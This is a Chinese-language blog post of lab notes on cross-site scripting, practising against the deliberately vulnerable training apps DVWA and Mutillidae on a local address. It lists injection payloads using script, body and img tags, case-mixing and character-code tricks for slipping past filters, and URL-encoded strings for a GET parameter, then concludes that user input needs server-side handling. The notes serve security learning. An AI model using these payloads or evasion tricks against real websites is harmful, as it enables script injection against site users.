Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1743397
  • 博文数量: 297
  • 博客积分: 285
  • 博客等级: 二等列兵
  • 技术积分: 3006
  • 用 户 组: 普通用户
  • 注册时间: 2010-03-06 22:04
个人简介

Linuxer, ex IBMer. GNU https://hmchzb19.github.io/

文章分类

全部博文(297)

文章存档

2020年(11)

2019年(15)

2018年(43)

2017年(79)

2016年(79)

2015年(58)

2014年(1)

2013年(8)

2012年(3)

分类: 网络与安全

2017-11-09 15:35:59

Mutillidae 上可以使用的XSS 例子比较少,后面有些是在DVWA上做的。

1. XSS 是什么?

点击(此处)折叠或打开

  1. XSS attack is client attack, can be used to inject VBScript, ActiveX, or Flash into a
  2. vulnerable web page.
但是通常用Javascript的多些。

2. 多用来inject的tags , 当然可以用的tags有很多,

点击(此处)折叠或打开

  1. <iframe>,<div>,<link>都可以.
  2. Script tag: <script>alert("XSSed!!");</script>
  3. Body tag: <body onload=alert("XSSed")>
  4. Image tag: <img src=# onmouseover="alert('XSS')"></img>
  5. #or even more complicated
  6. <sCripT>alert("XSS")
  7. #this method remove quote
  8. /*
  9. #alert(String.fromCharCode(108,97,108,97)) 
  10. */
下面是1个a标签,2个img标签,分开写因为上面的alert(string.fromCharCode()...可能会被浏览器解析,下面这三行也有可能所以我干脆把js写错,否则写入数据库,就等于变相的cu被stored XSS注入了.

点击(此处)折叠或打开

  1. #<a onmouse over="alert('XSS')">xxs link
  2. #<IMG SRC=# onmouse over="alert('XSS')"


3. XSS主要分3种

点击(此处)折叠或打开

  1. 1. Persistent/Stored XSS
  2. 2. Reflected XSS
  3. 3. DOM Based XSS

4.  inject 的第一个页面:

点击(此处)折叠或打开

  1. http://192.168.0.119/dvwa/vulnerabilities/xss_r/
当DVWA的security level 为low 的时候,可以在 name里面输入任意的javascript 代码,因此下面的java script 都可以使用.

点击(此处)折叠或打开

  1. Script tag: <script>alert("XSSed");</script>
  2.             <SCRIPT>alert('XSSed');</script>
  3. Body tag: <body onload=alert("XSSed")>
  4. Image tag: <img src=# onmouseover="alert('XSS')"></img>

当 security level 为medium的时候,该页面仅仅能filter 掉<script>alert("XSSed");</script> , 而对其他3个javascript 语句无能为力.


5. inject 第二个页面为Mutillidae的页面, 不管 security level 0或者1 都可以inject, 只有当security level 是5的时候,下面的inject 会失败.

点击(此处)折叠或打开

  1. http://192.168.0.119/mutillidae/index.php?page=password-generator.php&username=anonymous
可以通过GET方法来inject,因此inject js后URL 可以写成下面的样子.

点击(此处)折叠或打开

  1. "; alert("XSSed");//
  2. "; alert(%27XSSed%27);//
  3. %22;+alert(%27XSSed%27);//
  4. %22; alert(%27XSSed%27);//


6.  DVWA inject Stored  XSS .
inject 的page 如下: 当security level 是low 的时候,name 和message 都可以inject, 当security level是medium的时候,message 不能inject, 而name 可以通过修改js 增加input的maxlength.

点击(此处)折叠或打开

  1. http://192.168.0.119/dvwa/vulnerabilities/xss_s/
当security level 为medium 的时候,在name 里面输入下面的js都可以inject 成功

点击(此处)折叠或打开

  1. <sCripT>alert("XSS")</sCripT> #work
  2. <sCripT>alert(String.fromCharCode(108,97,108,97))</sCripT> #also works , translate to charcode

7. owasp 既有XSS_EVASION 的cheat_sheet ,又有XSS_prevention cheat_sheet.

点击(此处)折叠或打开

  1. https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  2. http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet


8. 慢慢的我也有了些心得体会,JS这个东西下载到本地,可以轻松用BurpProxy绕过,因此JS的filter 根本没有大用.
必须在代码里面对于用户的输入做更多的处理.





阅读(882) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~